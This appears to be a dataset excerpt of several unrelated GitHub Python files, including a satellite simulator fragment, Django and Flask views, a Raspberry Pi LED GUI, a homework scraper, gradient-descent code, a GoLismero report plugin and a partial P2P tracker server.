(float): Fraction of solid-state recorder capacity used for satellite in constellation at current scenario time\n commRange (bool): Boolean state variable indicating if satellite in constellaton is in view of a ground station at current scenario time\n groundId (int): Optional unique id for ground station in view of satellite in constellation at current scenario time (if commRange = False, the groundId = None)\n totalLinkCount (int): Unique count of downlink opportunities for satellite in constellation\n cumulativeCostBySat (float): Cumulative costs incurred for downlinks and/or fixed cost contracts for satellite in constellation at current scenario time\n time (:obj:`datetime`): Current scenario :obj:`datetime`\n\n \"\"\"\n for i, satellite in enumerate(self.constellation.satellites):\n next_time = constellation.ts.from_datetime(\n constellation.get_time() + 60 * self.time_status_step\n )\n satSpaceTime = satellite.at(next_time)\n subpoint = wgs84.subpoint(satSpaceTime)\n self.isInRange[i], groundId = check_in_range(\n next_time, satellite, constellation.grounds\n )\n self.app.send_message(\n \"location\",\n SatelliteStatus(\n id=i,\n name=self.constellation.names[i],\n latitude=subpoint.latitude.degrees,\n longitude=subpoint.longitude.degrees,\n altitude=subpoint.elevation.m,\n capacity_used=self.constellation.capacity_used[i]*self.constellation.ssr_capacity[i],\n commRange=self.isInRange[i],\n groundId=groundId,\n totalLinkCount=self.constellation.linkCounts[i],\n cumulativeCostBySat=self.constellation.cumulativeCostBySat[self.constellation.names[i]],\n time=constellation.get_time(),\n ).json(),\n )\n\n\n# name guard used to ensure script only executes if it is run as the __main__\nif __name__ == \"__main__\":\n # Note that these are loaded from a .env file in current working directory\n credentials = dotenv_values(\".env\")\n HOST, PORT = credentials[\"HOST\"], int(credentials[\"PORT\"]) # type:ignore\n USERNAME, PASSWORD = credentials[\"USERNAME\"], credentials[\"PASSWORD\"]\n\n # set the client credentials\n config = ConnectionConfig(USERNAME, PASSWORD, HOST, PORT, True)\n\n # create the managed application\n app = ManagedApplication(NAME)\n\n # load current TLEs for active satellites from Celestrak (NOTE: User has option to specify their own TLE instead)\n activesats_url = \"https://celestrak.com/NORAD/elements/active.txt\"\n activesats = load.tle_file(activesats_url, reload=True)\n by_name = {sat.name: sat for sat in activesats}\n\n # keys for CelesTrak TLEs used in this example, but indexes often change over time)\n names = [\"SUOMI NPP\", \"NOAA 20\"]\n ES = []\n indices = []\n for name_i, name in enumerate(names):\n ES.append(by_name[name])\n indices.append(name_i)\n\n # initialize the Constellation object class (in this example from EarthSatellite type)\n constellation = Constellation(\"constellation\", app, [0, 1], names, ES)\n\n # add the Constellation entity to the application's simulator\n app.simulator.add_entity(constellation)\n\n # add a shutdown observer to shut down after a single test case\n app.simulator.add_observer(ShutDownObserver(app))\n\n # add a position publisher to update satellite state every 5 seconds of wallclock time\n app.simulator.add_observer(\n PositionPublisher(app, constellation, timedelta(seconds=1))\n )\n\n # start up the application on PREFIX, publish time status every 10 seconds of wallclock time\n app.start_up(\n PREFIX,\n config,\n True,\n time_status_step=timedelta(seconds=10) * SCALE,\n time_status_init=datetime(2023, 1, 23, 7, 20, tzinfo=timezone.utc),\n time_step=timedelta(seconds=1) * SCALE,\n )\n\n # add message callbacks\n app.add_message_callback(\"ground\", \"location\", constellation.on_ground)\n app.add_message_callback(\"ground\", \"linkStart\", constellation.on_linkStart)\n app.add_message_callback(\"ground\", \"linkCharge\", constellation.on_linkCharge)\n app.add_message_callback(\"outage\", \"report\", constellation.on_outage)\n app.add_message_callback(\"outage\", \"restore\", constellation.on_restore)","repo_name":"code-lab-org/nost-tools","sub_path":"examples/downlink/satellites/main_constellation.py","file_name":"main_constellation.py","file_ext":"py","file_size_in_byte":27507,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"15178924121","text":"from django.shortcuts import render\nfrom .forms import ContactForm\n\n# new imports that go at the top of the file\nfrom django.core.mail import EmailMessage\nfrom django.shortcuts import redirect\nfrom django.template.loader import get_template\n\n\ndef About(request):\n return render(request, 'basic/about.html', {'title': 'About Us'})\n\n\ndef Services(request):\n return render(request, 'basic/services.html', {'title': 'Services'})\n\n\ndef Contact(request):\n form_class = ContactForm\n # new logic!\n if request.method == 'POST':\n form = form_class(data=request.POST)\n\n if form.is_valid():\n contact_name = request.POST.get(\n 'contact_name'\n , '')\n contact_email = request.POST.get(\n 'contact_email'\n , '')\n form_content = request.POST.get('content', '')\n # Email the profile with the\n # contact information\n template =\\\n get_template('basic/contact_template.txt')\n context = {\n 'contact_name': contact_name,\n 'contact_email': contact_email,\n 'form_content': form_content,\n }\n content = template.render(context)\n\n email = EmailMessage(\n \"New contact Insomniatic\",\n content,\n \"Insomniatic\" + '',\n ['soorajytad@gmail.com','zanjeevztrex@gmail.com'],\n headers={'Reply-To': contact_email}\n )\n email.send()\n return redirect('contactsuccess')\n context = {\n 'title': 'Contact Us',\n 'form': form_class\n }\n return render(request, 'basic/contact.html', context)\n\ndef Contactsuccess(request):\n return render(request,'basic/contact_success.html',{'title':'Contact Form Submitted'})\n\n\ndef Terms(request):\n return render(request, 'basic/terms.html', {'title': 'Terms & Conditions'})\n","repo_name":"zoorajvs/insomniaticstable","sub_path":"basic/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41166150635","text":"from tkinter import *\nimport tkinter.font\nimport RPi.GPIO as GPIO\nimport time\n\n# basic GPIO setup\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\nGPIO.setup(10, GPIO.OUT)\n# end of GPIO setup\n\nGPIO.output(10, GPIO.LOW)\n\nwin = Tk()\nwin.title(\"LED TOGGLER\")\nmyFont = tkinter.font.Font(family = 'Helvetica', size = 12, weight = \"bold\")\n\n\n\nREDLED = 10\nYELLOWLED = 10\nGREENLED = 10\nLED1 = False\nLED2 = False\nLED3 = False\n\n# exit function\ndef exitGui():\n GPIO.cleanup()\n win.destroy()\n# end of exit function\n\ndef turnOnRed():\n global REDLED, YELLOWLED, GREENLED, LED1, LED2, LED3\n\n if LED2==True:\n print(\"Turning off LED2\")\n GPIO.output(YELLOWLED, GPIO.LOW)\n LED2=False\n if LED3==True:\n print(\"Turning off LED3\")\n GPIO.output(GREENLED, GPIO.LOW)\n LED3=False\n else:\n for i in range(0,2): #blinks for 3 times\n GPIO.output(REDLED, GPIO.HIGH)\n time.sleep(1)\n GPIO.output(REDLED, GPIO.LOW)\n time.sleep(1)\n GPIO.output(REDLED, GPIO.HIGH)\n LED1 = True\n print(\"Turning on LED1\")\n \n \ndef turnOnYellow():\n global REDLED, YELLOWLED, GREENLED, LED1, LED2, LED3\n if LED1==True:\n print(\"Turning off LED1\")\n GPIO.output(REDLED, GPIO.LOW)\n LED1=False\n if LED3==True:\n print(\"Turning off LED3\")\n GPIO.output(GREENLED, GPIO.LOW)\n LED3=False\n else:\n for i in range(0,3): #blinks for 4 times\n GPIO.output(YELLOWLED, GPIO.HIGH)\n time.sleep(1)\n GPIO.output(YELLOWLED, GPIO.LOW)\n time.sleep(1)\n GPIO.output(YELLOWLED, GPIO.HIGH)\n LED2 = True\n print(\"Turning on LED2\")\n \ndef turnOnGreen():\n global REDLED, YELLOWLED, GREENLED, LED1, LED2, LED3\n if LED2==True:\n print(\"Turning off LED2\")\n GPIO.output(YELLOWLED, GPIO.LOW)\n LED2=False\n if LED1==True:\n print(\"Turning off LED1\")\n GPIO.output(REDLED, GPIO.LOW)\n LED1=False\n else:\n for i in range(0,4): #blink for 5 times\n GPIO.output(GREENLED, GPIO.HIGH)\n time.sleep(1)\n GPIO.output(GREENLED, GPIO.LOW)\n time.sleep(1)\n GPIO.output(GREENLED, GPIO.HIGH)\n LED3 = True\n print(\"Turning on LED3\")\n \n\n# added buttons\nRadiobutton(win, text=\"Turn on Red\", value=\"red\", command= turnOnRed).pack()\nRadiobutton(win, text=\"Turn on Yellow\", value=\"yellow\", command= turnOnYellow).pack()\nRadiobutton(win, text=\"Turn on Green\", value=\"green\", command= turnOnGreen).pack()\n\nexitButton = Button(win, text = 'Exit', font = myFont, command = exitGui, bg = 'yellow', height = 1, width = 10).pack()\n\nwin.protocol(\"WM_DELETE_WINDOW\", exitGui) #clean exit\nwin.mainloop() # GUI driver\n","repo_name":"SheronSuditha/SIT210-Embedded-Systems-Development","sub_path":"5.2C/5.2C.py","file_name":"5.2C.py","file_ext":"py","file_size_in_byte":2796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13872221653","text":"# Author: Xiaoyong Guo\n# Date: 2018-03-01\n\nimport sys\nimport datetime\nfrom typing import Union\n\nimport absl.flags as flags\n\nimport util\n\nflags.DEFINE_boolean(\n \"get_video\",\n False,\n \"Download videos\"\n)\n\nflags.DEFINE_string(\n \"date\",\n None,\n \"date\"\n)\n\n\ndef get_latest_date(next_day: int = 1):\n today = datetime.datetime.today().date()\n return today + datetime.timedelta(days=next_day)\n\n\ndef one_day_events_to_text(events):\n text = []\n for event in events:\n if 'ES Menu' in event['summary']:\n continue\n text.append('=' * 16)\n text.append('Date time: %s' % event['human_readable_time'])\n text.append('Summary: %s' % event['summary'])\n text.append('Description:\\n%s\\n\\n' % event['description'])\n return '\\n'.join(text)\n\n\ndef get_latest_homework(specified_date_str: Union[str, None] = None):\n cal = util.retrieve_managebac_calendar()\n event_dict = util.calendar_to_list_of_dicts(cal)\n latest_date = get_latest_date()\n text_list = []\n\n def condition(date):\n if specified_date_str:\n return specified_date_str == date.strftime('%Y%m%d')\n else:\n return date >= latest_date\n\n for date_str, events in event_dict.items():\n event_date = datetime.datetime.strptime(date_str, '%Y%m%d').date()\n if condition(event_date):\n text = one_day_events_to_text(events)\n text_list.append(text)\n return '\\n'.join(text_list)\n\n\ndef update_repo_homework():\n cal = util.retrieve_managebac_calendar()\n util.update_calendar(cal)\n\n event_dict = util.calendar_to_list_of_dicts(cal)\n for date_str, events in event_dict.items():\n util.update_homework(events, date_str)\n\n\ndef download_youtube_video(\n specified_date_str: Union[str, None] = None,\n download: bool = True):\n cal = util.retrieve_managebac_calendar()\n event_dict = util.calendar_to_list_of_dicts(cal)\n latest_date = get_latest_date()\n\n def condition(date):\n if specified_date_str:\n return specified_date_str == date.strftime('%Y%m%d')\n else:\n return date >= latest_date\n\n for date_str, events in event_dict.items():\n event_date = datetime.datetime.strptime(date_str, '%Y%m%d').date()\n if condition(event_date):\n to_be_downloaded = []\n for event in events:\n to_be_downloaded.extend(util.extract_youtube_video_list_from_description(event['description']))\n downloaded_list = []\n for url in to_be_downloaded:\n if download:\n filename = util.download_youtube_video(url)\n else:\n filename = util.get_youtube_video_filename(url)\n video_info = {\n 'url': url,\n 'filename': filename,\n }\n downloaded_list.append(video_info)\n util.update_downloaded(downloaded_list, date_str)\n\n\ndef main(argv):\n flags.FLAGS(argv)\n util.set_timezone_to_shanghai()\n update_repo_homework()\n print(get_latest_homework(flags.FLAGS.date))\n\n if flags.FLAGS.get_video:\n download_youtube_video(flags.FLAGS.date)\n else:\n download_youtube_video(flags.FLAGS.date, download=False)\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","repo_name":"guoxiaoyong/kangaroo","sub_path":"kangaroo/homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40474624260","text":"#coding: UTF-8\r\nfrom flask import Flask, render_template, request\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef pagina_index():\r\n return render_template(\"index.html\")\r\n\t\r\n\t\r\n@app.route(\"/dados_pessoais/\")\r\ndef dadosget():\r\n nome = request.args.get(\"nome\")\r\n mail = request.args.get(\"e-mail\")\r\n tel = request.args.get(\"telefone\")\r\n return render_template(\"dados.html\", **locals() )\r\n\t\r\n\t\r\n@app.route(\"/dados_pessoais/\", methods=[\"POST\"])\r\ndef dadospost():\r\n nome = request.form.get(\"nome\")\r\n mail = request.form.get(\"e-mail\")\r\n tel = request.form.get(\"telefone\")\r\n return render_template(\"dados.html\", **locals() )\r\n\r\n@app.route(\"/dados_pessoais///\")\r\ndef metodo3(nome, mail, tel):\r\n return render_template(\"dados.html\", **locals() )\r\n\t","repo_name":"helizan789/atividades","sub_path":"site3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6380342932","text":"### Import standard modules\nimport datetime\nimport os\n\n### Import external modules\n\n### Import personal modules\n\n### Retrieve various filename elements from a fullpath (path, name, extension, etc.)\nclass FileName():\n def __init__(self, fullpath=\"\", colored=True):\n self.fullpath=fullpath\n self.fullpath_noextension=\"\"\n self.filepath=\"\"\n self.filename=\"\"\n self.filename_noextension=\"\"\n self.fileextension=\"\"\n if fullpath:\n self.set_filename_elements(fullpath)\n\n def print_filename_details(self):\n print(\"- fullpath: \" + self.fullpath)\n print(\"- fullpath no extension: \" + self.fullpath_noextension)\n print(\"- filepath: \" + self.filepath)\n print(\"- filename: \" + self.filename)\n print(\"- filename no extension: \" + self.filename_noextension)\n print(\"- file extension: \" + self.fileextension)\n print()\n\n def set_filename_elements(self, fullpath):\n \"\"\" Retrieve various filename elements from a fullpath (path, name, extension, etc.) and initialize object\n \"\"\"\n self.fullpath = fullpath\n try:\n self.filepath = os.path.dirname(self.fullpath)\n self.filename = os.path.basename(self.fullpath)\n self.filename_noextension, self.fileextension = os.path.splitext(self.filename)\n if self.filepath:\n self.fullpath_noextension = self.filepath + os.path.sep + self.filename_noextension\n else:\n self.fullpath_noextension = self.filename_noextension\n except Exception as e:\n print(\"ERROR\", f\"{str(e)}\")\n\n### Transform filename\n def change_filepath(self, new_filepath):\n \"\"\"Change the location of current filename with new_filepath>\n \"\"\"\n if new_filepath:\n new_fullpath = new_filepath + os.path.sep + self.filename\n else:\n new_fullpath = self.filename\n self.set_filename_elements(new_fullpath)\n return new_fullpath\n \n def add_subname(self, subname, sep=\"_\"):\n \"\"\"Add free text at the end of the filename using an optional text separator (default separator \"_\")\n \"\"\"\n new_fullpath = self.fullpath_noextension + sep + subname + self.fileextension\n self.set_filename_elements(new_fullpath)\n return new_fullpath\n\n def add_dayonly(self, sep=\"_\"):\n \"\"\"Add date (YYMMDD) at the end of the filename using an optional text separator (default separator \"_\")\n \"\"\"\n dt = datetime.datetime.now() \n new_fullpath = self.fullpath_noextension + sep + dt.strftime('%Y%m%d') + self.fileextension\n self.set_filename_elements(new_fullpath)\n return new_fullpath\n\n def add_datetime(self, sep=\"_\"):\n \"\"\"Add timestamp (YYMMDD HHMMSS) at the end of the filename using an optional text separator (default separator \"_\")\n \"\"\"\n dt = datetime.datetime.now() \n new_fullpath = self.fullpath_noextension + sep + dt.strftime('%Y%m%d') + sep + dt.strftime('%H%M%S') + self.fileextension\n self.set_filename_elements(new_fullpath)\n return new_fullpath\n\nif __name__ == \"__main__\":\n print(\"*** FileName details\")\n filename = FileName(__file__)\n filename.print_filename_details()\n\n print(\"*** FileName modified details\")\n filename.add_subname(\"subname\")\n filename.add_datetime()\n filename.print_filename_details()\n\n #filename_modified = FileName(FileName(filename.add_subname(\"subname\")).add_datetime())\n #filename_modified.print_filename_details()\n","repo_name":"saphir-lab/api_data_dictionary","sub_path":"utils/filename.py","file_name":"filename.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36252088225","text":"## imports\nimport simpy\n\ndef compute_cost(x, y, w, b):\n \n m = x.shape[0] \n cost = 0\n \n for i in range(m):\n f_wb = w * x[i] + b\n cost = cost + (f_wb - y[i])**2\n total_cost = 1 / (2 * m) * cost\n\n return total_cost\n\ndef compute_gradient(x, y, w, b): \n \n # Number of training examples\n m = x.shape[0] \n dj_dw = 0\n dj_db = 0\n \n for i in range(m): \n f_wb = w * x[i] + b \n dj_dw_i = (f_wb - y[i]) * x[i] \n dj_db_i = f_wb - y[i] \n dj_db += dj_db_i\n dj_dw += dj_dw_i \n dj_dw = dj_dw / m \n dj_db = dj_db / m \n \n return dj_dw, dj_db\n\ndef gradient_descent(x, y, w_in, b_in, alpha, num_iters, cost_function, gradient_function): \n \n # An array to store cost J and w's at each iteration primarily for graphing later\n J_history = []\n p_history = []\n b = b_in\n w = w_in\n \n for i in range(num_iters):\n # Calculate the gradient and update the parameters using gradient_function\n dj_dw, dj_db = gradient_function(x, y, w , b) \n\n # Update Parameters using equation (3) above\n b = b - alpha * dj_db \n w = w - alpha * dj_dw \n\n # Save cost J at each iteration\n if i<100000: # prevent resource exhaustion \n J_history.append( cost_function(x, y, w , b))\n p_history.append([w,b])\n # Print cost every at intervals 10 times or as many iterations if < 10\n if i% math.ceil(num_iters/10) == 0:\n print(f\"Iteration {i:4}: Cost {J_history[-1]:0.2e} \",\n f\"dj_dw: {dj_dw: 0.3e}, dj_db: {dj_db: 0.3e} \",\n f\"w: {w: 0.3e}, b:{b: 0.5e}\")\n \n return w, b, J_history, p_history #return w and J,w history for graphing\n\n## Run gradient descent \n# initialize parameters\nw_init = 0\nb_init = 0\n# some gradient descent settings\niterations = 10000\ntmp_alpha = 1.0e-2\n# run gradient descent\nw_final, b_final, J_hist, p_hist = gradient_descent(x_train ,y_train, w_init, b_init, tmp_alpha, \n iterations, compute_cost, compute_gradient)\nprint(f\"(w,b) found by gradient descent: ({w_final:8.4f},{b_final:8.4f})\")\n\n## print predictions\nprint(f\"1000 sqft house prediction {w_final*1.0 + b_final:0.1f} Thousand dollars\")\nprint(f\"1200 sqft house prediction {w_final*1.2 + b_final:0.1f} Thousand dollars\")\nprint(f\"2000 sqft house prediction {w_final*2.0 + b_final:0.1f} Thousand dollars\")\n","repo_name":"dreammsin/sandbox","sub_path":"python/testlab.py","file_name":"testlab.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32909547947","text":"from sentiment_model import logger\nfrom sentiment_model.data_proc.normalizer import TextNormalizer\nfrom sentiment_model.saving_loading.model_saving_loading import ModelSavingLoading\nimport tensorflow as tf\n\n\nclass ModelPredictor:\n\n def __init__(self, model_path: str):\n loader = ModelSavingLoading()\n self._model = loader.load_model(model_path)\n self._normalizer = TextNormalizer()\n\n def predict(self, review):\n logger.debug('start prediction')\n logger.debug(f'start normalizing input texts: {review}')\n normalized_review = [self._normalizer.normalize(review)]\n logger.debug(f'normalized review: {normalized_review}')\n pred_prob = self._model.predict(normalized_review)\n pred_label = tf.squeeze(tf.round(pred_prob)).numpy()\n if 0 < pred_label:\n label = \"positive\"\n else:\n label = \"negative\"\n prediction_result = {\"label\": str(label), \"probability\": str(pred_prob[0][0])}\n return prediction_result\n","repo_name":"AndranikUgujyan/imbd_classification_task","sub_path":"sentiment_model/predicter/model_predictor.py","file_name":"model_predictor.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39282687882","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__license__ = \"\"\"\nGoLismero 2.0 - The web knife - Copyright (C) 2011-2014\n\nGolismero project site: https://github.com/golismero\nGolismero project mail: contact@golismero-project.com\n\nThis program is free software; you can redistribute it and/or\nmodify it under the terms of the GNU General Public License\nas published by the Free Software Foundation; either version 2\nof the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\"\"\"\n\n__all__ = [\"ODTReport\"]\n\nfrom golismero.api.external import tempfile\nfrom golismero.api.logger import Logger\nfrom golismero.api.plugin import import_plugin\n\nrstext = import_plugin(\"rst.py\")\n\nfrom warnings import catch_warnings\n\n\n#------------------------------------------------------------------------------\nclass ODTReport(rstext.RSTReport):\n \"\"\"\n Creates reports in OpenOffice document format (.odt).\n \"\"\"\n\n EXTENSION = \".odt\"\n\n\n #--------------------------------------------------------------------------\n def generate_report(self, output_file):\n Logger.log_verbose(\n \"Writing OpenOffice report to file: %s\" % output_file)\n\n # Load docutils.\n with catch_warnings(record=True):\n from docutils.core import publish_file\n from docutils.writers.odf_odt import Writer, Reader\n\n # Create a temporary file for the reStructured Text report.\n with tempfile(suffix=\".rst\") as filename:\n\n # Generate the report in reStructured Text format.\n Logger.log_more_verbose(\"Writing temporary file in rST format...\")\n with open(filename, \"w\") as source:\n self.write_report_to_open_file(source)\n\n # Convert to OpenOffice format.\n Logger.log_more_verbose(\"Converting to OpenOffice format...\")\n with open(filename, \"rU\") as source:\n writer = Writer()\n reader = Reader()\n with catch_warnings(record=True):\n with open(output_file, \"wb\") as destination:\n publish_file(\n source = source,\n destination = destination,\n destination_path = output_file,\n reader = reader,\n writer = writer,\n )\n","repo_name":"golismero/golismero","sub_path":"plugins/report/odt.py","file_name":"odt.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":838,"dataset":"github-code","pt":"75"} +{"seq_id":"17375481284","text":"import pandas as pd\nimport os\n\nflist = os.listdir('C:/Users/Big data/Desktop/etl')\n\ndata = []\nfor textfile in flist:\n with open('C:/Users/Big data/Desktop/etl/%s' % (textfile),\n 'r',encoding='utf-8')as f:\n data_str = f.read().\\\n replace('作者:','作者:').replace('标题:','标题:').replace('时间:','时间:')\\\n .split('---split---')[1]\n #上面这行会有replace是因为我自己爬下来的文章字元格式跟老师有不同,所以要自行整理写上的。\n data_row = data_str.split('\\n')[1:]\n data.append(data_row)\n # print(data_row)\n # print(data_str)\n # print('==========')\n\ncolumns = ['推','嘘','分数','作者','标题','时间']\ndf = pd.DataFrame(data=data,columns=columns)\n# print(df)\n\ndf_copied = df.copy()\n# print(df_copied)\n\n# 下面这行要配合try:except那段使用,会写except只是为了我用来打bug用的\ndef tmpfilter(datastring):\n result = datastring.split(':')[1]\n return result\n\n# df_copied['推'] = df_copied['推'].apply(tmpfilter)\n# print(df_copied)\n\ntry:\n for c in columns:\n df_copied[c] = df_copied[c].apply(tmpfilter)\nexcept:\n print(df_copied[c]+'======')\n with open('./testlog.txt','a',encoding='utf-8')as f:\n f.write(str(df_copied[c]))\n\n# 下面这行是用lambda写,跟上面(tmpfilter+try:except)结果一样\n# for c in columns:\n#\n# df_copied[c] = df_copied[c].apply(lambda s: s.split(':')[1])\n#\n# print(df_copied)\n\ndf_copied.to_csv('./test3.csv',index=False)","repo_name":"yunshenhsieh/py","sub_path":"AI-BigData班第36期/Python_ETL/20200530/pandas_transform_pttdata_0530_5.py","file_name":"pandas_transform_pttdata_0530_5.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39848943644","text":"import os\nfrom dotenv import load_dotenv\nfrom log import append_bot_operation_data, append_exception_data\nfrom telegram_api import Bot\nfrom user import User\n\n\nload_dotenv()\nURL = f'https://api.telegram.org/bot{os.getenv(\"token\")}'\nUSER_ID = int(os.getenv(\"user_id\"))\n\n\ndef main():\n bot = Bot(url=URL, user_id=USER_ID)\n user = User(bot=bot)\n\n while True:\n if not user.time_to_sleep():\n user.asks_translation_of_english_word()\n\n new_message = user.user_has_sent_a_new_massage()\n if new_message:\n text_of_the_last_message = new_message[\"message\"][\"text\"]\n if text_of_the_last_message in \"/add words\":\n bot.send_message(\"you can add a new word. Write a new word in this format: word in English : \"\n \"translation\", parse_mode=\"HTML\")\n user.append_a_new_word()\n else:\n bot.send_message(\"I don't understand\")\n\n\nif __name__ == '__main__':\n try:\n append_bot_operation_data(\"BOT STARTED\")\n main()\n append_bot_operation_data(\"BOT HAS STOPPED SUCCESSFUL\")\n except KeyboardInterrupt:\n append_bot_operation_data(\"BOT HAS STOPPED SUCCESSFUL\")\n except BaseException as ex:\n exception_number = append_exception_data(ex)\n append_bot_operation_data(type_data=\"BOT HAS STOPPED UNSUCCESSFUL\",\n data=f\"{ex.__str__()}; EXCEPTION NUMBER - {exception_number}\")\n","repo_name":"SvyatoyOdin/memorizing_translation_of_words","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5448976311","text":"#!/usr/bin/env python\n\nimport socket\nimport json\nfrom p2p_types import File, FileList, Node, NodeList\nimport threading\n\nTCP_IP = '127.0.0.1'\nTCP_PORT = 5025\nBUFFER_SIZE = 2048 # Normally 1024, but we want fast response\nGLOBAL_NODE_LIST = NodeList()\n\nlock = threading.Lock()\n\n# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n# s.bind((TCP_IP, TCP_PORT))\n# s.listen(1)\n# while 1:\n\n# conn, addr = s.accept()\n# print ('Connection address:', addr)\n# while 1:\n# data = conn.recv(BUFFER_SIZE)\n# if not data: break\n# print (\"received data:\", data)\n# conn.send(data) # echo\n# conn.close()\n\n\n\n\ndef find(fileName):\n ret_nodeList = NodeList()\n for node in GLOBAL_NODE_LIST.nodes:\n retval = updatelist(node.ip, node.port)\n if retval == -1:\n print(\"Skipping node\")\n continue\n with lock:\n for file in node.filelist.files:\n if file.name == fileName:\n ret_nodeList.add(node)\n break\n return ret_nodeList\n\n\n\ndef main():\n #create a socket that can be connected to by all peers\n #listen for connections from peers\n \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((TCP_IP, TCP_PORT))\n s.listen(10)\n\n #accept connections from peers\n while 1: #stay alive\n \n conn, addr = s.accept()\n print ('Connection address:', addr)\n while 1:\n data = conn.recv(BUFFER_SIZE)\n if not data: break\n print (\"received data:\", data)\n decoded_Data = data.decode()\n if (\"find\" in decoded_Data.split(\" \")[0]):\n ret_nodelist = find(data.decode().split(\" \")[1])\n serialzie_nodelist = json.dumps(ret_nodelist, default=lambda o: o.__dict__)\n conn.send(serialzie_nodelist.encode())\n conn.close()\n break\n\n #parse the data\n json_data =json.loads(decoded_Data)\n\n #if this is a node update the node list\n if json_data[\"type\"] == \"node\": #this will be an init connection\n #update the node list\n #convert the json to a node object\n # node = json.loads(json_data)\n #add the node to the list\n node = Node(json_data['ip'], json_data['port'])\n node.id = json_data['id']\n node.status = json_data['status']\n node.filelist = FileList(json_data['id'])\n for i in json_data['filelist']['files']:\n # print(i)\n temp = File()\n temp.name = i['name']\n temp.size = i['size']\n temp.hash_val = i['hash_val']\n node.filelist.add(temp)\n with lock:\n GLOBAL_NODE_LIST.add(node)\n\n #send an ACK\n \n elif json_data[\"type\"] == \"filelist\":\n found = False\n with lock:\n for i in GLOBAL_NODE_LIST.nodes:\n if i.id == json_data['node_id']:\n i.filelist = FileList(json_data['node_id'])\n found = True\n for j in json_data['files']:\n temp = File()\n temp.name = j['name']\n temp.size = j['size']\n temp.hash_val = j['hash_val']\n i.filelist.add(temp)\n break\n if found == False:\n print(\"Node does not exist in global node list, adding\")\n node = Node(json_data['node_ip'], json_data['node_port'] ) #unknown port\n node.id = json_data['node_id']\n node.status = 1\n node.filelist = FileList(json_data['node_id'])\n for j in json_data['files']:\n temp = File()\n temp.name = j['name']\n temp.size = j['size']\n temp.hash_val = j['hash_val']\n node.filelist.add(temp)\n GLOBAL_NODE_LIST.add(node)\n conn.send(\"ACK\".encode()) # reply with ACK\n \n s.close()\n\n\ndef getload(ip, port):\n #get the load of a peer\n\n #send a request to the peer\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n try:\n\n s.connect((ip, port))\n except ConnectionRefusedError:\n print(\"node with ip: \" + ip + \" and port: \" + port + \" is not responding\")\n s.close()\n return -1\n s.send(\"getload\".encode())\n\n #wait for a response\n reply = s.recv(BUFFER_SIZE)\n #if the peer does not respond set the status of the node to 0\n\n if not reply: #reply should be an int\n #set this node status to 0\n for node in GLOBAL_NODE_LIST.nodes:\n if node.ip == ip and node.port == port:\n node.status = 0\n break\n else:\n #parse the response\n for node in GLOBAL_NODE_LIST.nodes:\n if node.ip == ip and node.port == port:\n node.load = int(str(reply))\n break\n \n\n\n return\n\ndef updatelist(ip,port):\n #send update lists to a peer \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n try:\n s.connect((ip, port))\n except ConnectionRefusedError:\n print(\"node with ip: \" + ip + \" and port: \" + port + \" is not responding\")\n s.close()\n return -1\n s.send(\"updatelist\".encode())\n\n #wait for a response\n reply = s.recv(BUFFER_SIZE)\n reply = reply.decode()\n #parse the response\n if not reply: return -1\n else:\n json_data =json.loads(reply)\n with lock:\n for i in GLOBAL_NODE_LIST.nodes:\n if i.id == json_data['node_id']:\n i.filelist = FileList(json_data['node_id'])\n for j in json_data['files']:\n temp = File()\n temp.name = j['name']\n temp.size = j['size']\n temp.hash_val = j['hash_val']\n i.filelist.add(temp)\n s.close()\n return\n #if were here then we have a new node\n node = Node(ip, port)\n node.id = json_data['node_id']\n node.status = 1\n for i in json_data['filelist']:\n temp = File()\n temp.name = i['name']\n temp.size = i['size']\n temp.hash = i['hash_val']\n node.filelist.add(temp)\n GLOBAL_NODE_LIST.add(node)\n s.close()\n \n\n\n\nif __name__==\"__main__\":\n #create main thread\n #create a thread to listen for connections from peers\n\n 